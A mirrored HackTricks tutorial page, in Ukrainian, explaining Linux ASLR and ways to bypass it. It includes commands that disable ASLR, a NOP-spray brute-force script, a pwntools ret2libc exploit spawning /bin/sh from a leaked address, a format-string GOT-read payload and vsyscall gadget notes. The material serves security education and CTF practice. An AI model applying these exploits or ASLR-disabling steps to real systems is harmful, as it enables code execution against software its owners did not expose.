mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
283 lines
18 KiB
Markdown
283 lines
18 KiB
Markdown
# ASLR
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Основна інформація
|
||
|
||
**Address Space Layout Randomization (ASLR)** - це техніка безпеки, що використовується в операційних системах для **випадкового розташування адрес пам'яті**, які використовуються системними та прикладними процесами. Це ускладнює зловмиснику передбачити місцезнаходження конкретних процесів і даних, таких як стек, купа та бібліотеки, що зменшує ризик певних типів експлойтів, зокрема переповнень буфера.
|
||
|
||
### **Перевірка статусу ASLR**
|
||
|
||
Щоб **перевірити** статус ASLR на системі Linux, ви можете прочитати значення з файлу **`/proc/sys/kernel/randomize_va_space`**. Значення, збережене в цьому файлі, визначає тип ASLR, що застосовується:
|
||
|
||
- **0**: Немає випадкового розташування. Все статичне.
|
||
- **1**: Консервативне випадкове розташування. Спільні бібліотеки, стек, mmap(), сторінка VDSO випадкові.
|
||
- **2**: Повне випадкове розташування. На додаток до елементів, випадкових за допомогою консервативного випадкового розташування, пам'ять, керована через `brk()`, також випадкова.
|
||
|
||
Ви можете перевірити статус ASLR за допомогою наступної команди:
|
||
```bash
|
||
cat /proc/sys/kernel/randomize_va_space
|
||
```
|
||
### **Вимкнення ASLR**
|
||
|
||
Щоб **вимкнути** ASLR, ви повинні встановити значення `/proc/sys/kernel/randomize_va_space` на **0**. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або налагодження. Ось як ви можете це зробити:
|
||
```bash
|
||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||
```
|
||
Ви також можете вимкнути ASLR для виконання за допомогою:
|
||
```bash
|
||
setarch `arch` -R ./bin args
|
||
setarch `uname -m` -R ./bin args
|
||
```
|
||
### **Увімкнення ASLR**
|
||
|
||
Щоб **увімкнути** ASLR, ви можете записати значення **2** у файл `/proc/sys/kernel/randomize_va_space`. Це зазвичай вимагає прав root. Увімкнення повної рандомізації можна зробити за допомогою наступної команди:
|
||
```bash
|
||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||
```
|
||
### **Стійкість під час перезавантаження**
|
||
|
||
Зміни, внесені за допомогою команд `echo`, є тимчасовими і будуть скинуті після перезавантаження. Щоб зробити зміни постійними, вам потрібно відредагувати файл `/etc/sysctl.conf` і додати або змінити наступний рядок:
|
||
```tsconfig
|
||
kernel.randomize_va_space=2 # Enable ASLR
|
||
# or
|
||
kernel.randomize_va_space=0 # Disable ASLR
|
||
```
|
||
Після редагування `/etc/sysctl.conf`, застосуйте зміни за допомогою:
|
||
```bash
|
||
sudo sysctl -p
|
||
```
|
||
Це забезпечить збереження ваших налаштувань ASLR після перезавантаження.
|
||
|
||
## **Обходи**
|
||
|
||
### 32-бітний брутфорс
|
||
|
||
PaX ділить адресний простір процесу на **3 групи**:
|
||
|
||
- **Код і дані** (ініціалізовані та неініціалізовані): `.text`, `.data` та `.bss` —> **16 біт** ентропії в змінній `delta_exec`. Ця змінна випадковим чином ініціалізується з кожним процесом і додається до початкових адрес.
|
||
- **Пам'ять**, виділена за допомогою `mmap()`, та **спільні бібліотеки** —> **16 біт**, названі `delta_mmap`.
|
||
- **Стек** —> **24 біти**, що називається `delta_stack`. Однак, фактично використовується **11 біт** (з 10-го до 20-го байта включно), вирівняних на **16 байт** —> Це призводить до **524,288 можливих реальних адрес стеку**.
|
||
|
||
Попередні дані стосуються 32-бітних систем, а зменшена фінальна ентропія дозволяє обійти ASLR, повторюючи виконання знову і знову, поки експлойт не завершиться успішно.
|
||
|
||
#### Ідеї для брутфорсу:
|
||
|
||
- Якщо у вас є достатньо великий переповнення, щоб вмістити **великий NOP слайд перед shellcode**, ви можете просто брутфорсити адреси в стеку, поки потік **не стрибне через якусь частину NOP слайду**.
|
||
- Інший варіант для цього, якщо переповнення не таке велике, і експлойт можна запустити локально, — це **додати NOP слайд і shellcode в змінну середовища**.
|
||
- Якщо експлойт локальний, ви можете спробувати брутфорсити базову адресу libc (корисно для 32-бітних систем):
|
||
```python
|
||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||
```
|
||
- Якщо ви атакуєте віддалений сервер, ви можете спробувати **брутфорсити адресу функції `libc` `usleep`**, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент **сервер відповідає на 10 секунд довше**, ви знайшли адресу цієї функції.
|
||
|
||
> [!TIP]
|
||
> У 64-бітних системах ентропія значно вища, і це не повинно бути можливим.
|
||
|
||
### Брутфорс стеку 64 біти
|
||
|
||
Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб його експлуатувати.\
|
||
Наступний код показує, як можливо **просто вибрати адресу в стеці** і кожні **кілька сотень виконань** ця адреса міститиме **інструкцію NOP**:
|
||
```c
|
||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||
#include <stdio.h>
|
||
|
||
int main() {
|
||
unsigned long long address = 0xffffff1e7e38;
|
||
unsigned int* ptr = (unsigned int*)address;
|
||
unsigned int value = *ptr;
|
||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
```python
|
||
import subprocess
|
||
import traceback
|
||
|
||
# Start the process
|
||
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
||
n_nops = int(128000/4)
|
||
shellcode_env_var = nop * n_nops
|
||
|
||
# Define the environment variables you want to set
|
||
env_vars = {
|
||
'a': shellcode_env_var,
|
||
'b': shellcode_env_var,
|
||
'c': shellcode_env_var,
|
||
'd': shellcode_env_var,
|
||
'e': shellcode_env_var,
|
||
'f': shellcode_env_var,
|
||
'g': shellcode_env_var,
|
||
'h': shellcode_env_var,
|
||
'i': shellcode_env_var,
|
||
'j': shellcode_env_var,
|
||
'k': shellcode_env_var,
|
||
'l': shellcode_env_var,
|
||
'm': shellcode_env_var,
|
||
'n': shellcode_env_var,
|
||
'o': shellcode_env_var,
|
||
'p': shellcode_env_var,
|
||
}
|
||
|
||
cont = 0
|
||
while True:
|
||
cont += 1
|
||
|
||
if cont % 10000 == 0:
|
||
break
|
||
|
||
print(cont, end="\r")
|
||
# Define the path to your binary
|
||
binary_path = './aslr-testing'
|
||
|
||
try:
|
||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||
output = process.communicate()[0]
|
||
if "0xd5" in str(output):
|
||
print(str(cont) + " -> " + output)
|
||
except Exception as e:
|
||
print(e)
|
||
print(traceback.format_exc())
|
||
pass
|
||
```
|
||
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
### Локальна інформація (`/proc/[pid]/stat`)
|
||
|
||
Файл **`/proc/[pid]/stat`** процесу завжди доступний для читання всім і **містить цікаву** інформацію, таку як:
|
||
|
||
- **startcode** & **endcode**: Адреси вище і нижче з **TEXT** бінарного файлу
|
||
- **startstack**: Адреса початку **стеку**
|
||
- **start_data** & **end_data**: Адреси вище і нижче, де знаходиться **BSS**
|
||
- **kstkesp** & **kstkeip**: Поточні адреси **ESP** та **EIP**
|
||
- **arg_start** & **arg_end**: Адреси вище і нижче, де знаходяться **cli аргументи**.
|
||
- **env_start** &**env_end**: Адреси вище і нижче, де знаходяться **змінні середовища**.
|
||
|
||
Отже, якщо атакуючий знаходиться на тому ж комп'ютері, що й бінарний файл, який експлуатується, і цей бінарний файл не очікує переповнення з сирих аргументів, а з іншого **входу, який можна створити після читання цього файлу**. Атакуючий може **отримати деякі адреси з цього файлу та побудувати з них офсети для експлуатації**.
|
||
|
||
> [!TIP]
|
||
> Для отримання додаткової інформації про цей файл перегляньте [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), шукаючи `/proc/pid/stat`
|
||
|
||
### Маючи витік
|
||
|
||
- **Виклик полягає у наданні витоку**
|
||
|
||
Якщо вам надано витік (легкі CTF виклики), ви можете розрахувати офсети з нього (припустимо, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлуатації витягнуто з [**прикладу звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (перегляньте цю сторінку для отримання додаткових деталей):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln-32')
|
||
libc = elf.libc
|
||
p = process()
|
||
|
||
p.recvuntil('at: ')
|
||
system_leak = int(p.recvline(), 16)
|
||
|
||
libc.address = system_leak - libc.sym['system']
|
||
log.success(f'LIBC base: {hex(libc.address)}')
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
libc.sym['system'],
|
||
0x0, # return address
|
||
next(libc.search(b'/bin/sh'))
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
p.interactive()
|
||
```
|
||
- **ret2plt**
|
||
|
||
Зловживаючи переповненням буфера, можна експлуатувати **ret2plt** для ексфільтрації адреси функції з libc. Перевірте:
|
||
|
||
{{#ref}}
|
||
ret2plt.md
|
||
{{#endref}}
|
||
|
||
- **Format Strings Arbitrary Read**
|
||
|
||
Так само, як у ret2plt, якщо у вас є довільне читання через вразливість форматних рядків, можливо ексфільтрувати адресу **функції libc** з GOT. Наступний [**приклад звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
||
```python
|
||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||
payload += b'|'
|
||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||
|
||
# this part is only relevant if you need to call the main function again
|
||
|
||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||
payload += p32(elf.symbols['main'])
|
||
```
|
||
Ви можете знайти більше інформації про довільне читання форматних рядків у:
|
||
|
||
{{#ref}}
|
||
../../format-strings/
|
||
{{#endref}}
|
||
|
||
### Ret2ret & Ret2pop
|
||
|
||
Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:
|
||
|
||
{{#ref}}
|
||
ret2ret.md
|
||
{{#endref}}
|
||
|
||
### vsyscall
|
||
|
||
Механізм **`vsyscall`** служить для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони є фундаментальною частиною ядра. Критична перевага **vsyscalls** полягає в їх **фіксованих адресах**, які не підлягають **ASLR** (випадкове розташування адресного простору). Ця фіксована природа означає, що зловмисники не потребують вразливості витоку інформації, щоб визначити свої адреси та використовувати їх у експлойті.\
|
||
Однак тут не буде знайдено супер цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент `ret;`)
|
||
|
||
(Наступний приклад і код є [**з цього опису**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
|
||
|
||
Наприклад, зловмисник може використовувати адресу `0xffffffffff600800` в експлойті. Хоча спроба стрибнути безпосередньо до інструкції `ret` може призвести до нестабільності або збоїв після виконання кількох гаджетів, стрибок на початок `syscall`, наданого секцією **vsyscall**, може виявитися успішним. Обережно розміщуючи гаджет **ROP**, який веде виконання до цієї адреси **vsyscall**, зловмисник може досягти виконання коду без необхідності обходити **ASLR** для цієї частини експлойту.
|
||
```
|
||
ef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
|
||
gef➤ x/8g 0xffffffffff600000
|
||
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
|
||
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
gef➤ x/4i 0xffffffffff600800
|
||
0xffffffffff600800: mov rax,0x135
|
||
0xffffffffff600807: syscall
|
||
0xffffffffff600809: ret
|
||
0xffffffffff60080a: int3
|
||
gef➤ x/4i 0xffffffffff600800
|
||
0xffffffffff600800: mov rax,0x135
|
||
0xffffffffff600807: syscall
|
||
0xffffffffff600809: ret
|
||
0xffffffffff60080a: int3
|
||
```
|
||
### vDSO
|
||
|
||
Зверніть увагу, як може бути можливим **обійти ASLR, використовуючи vdso**, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:
|
||
|
||
{{#ref}}
|
||
../../rop-return-oriented-programing/ret2vdso.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|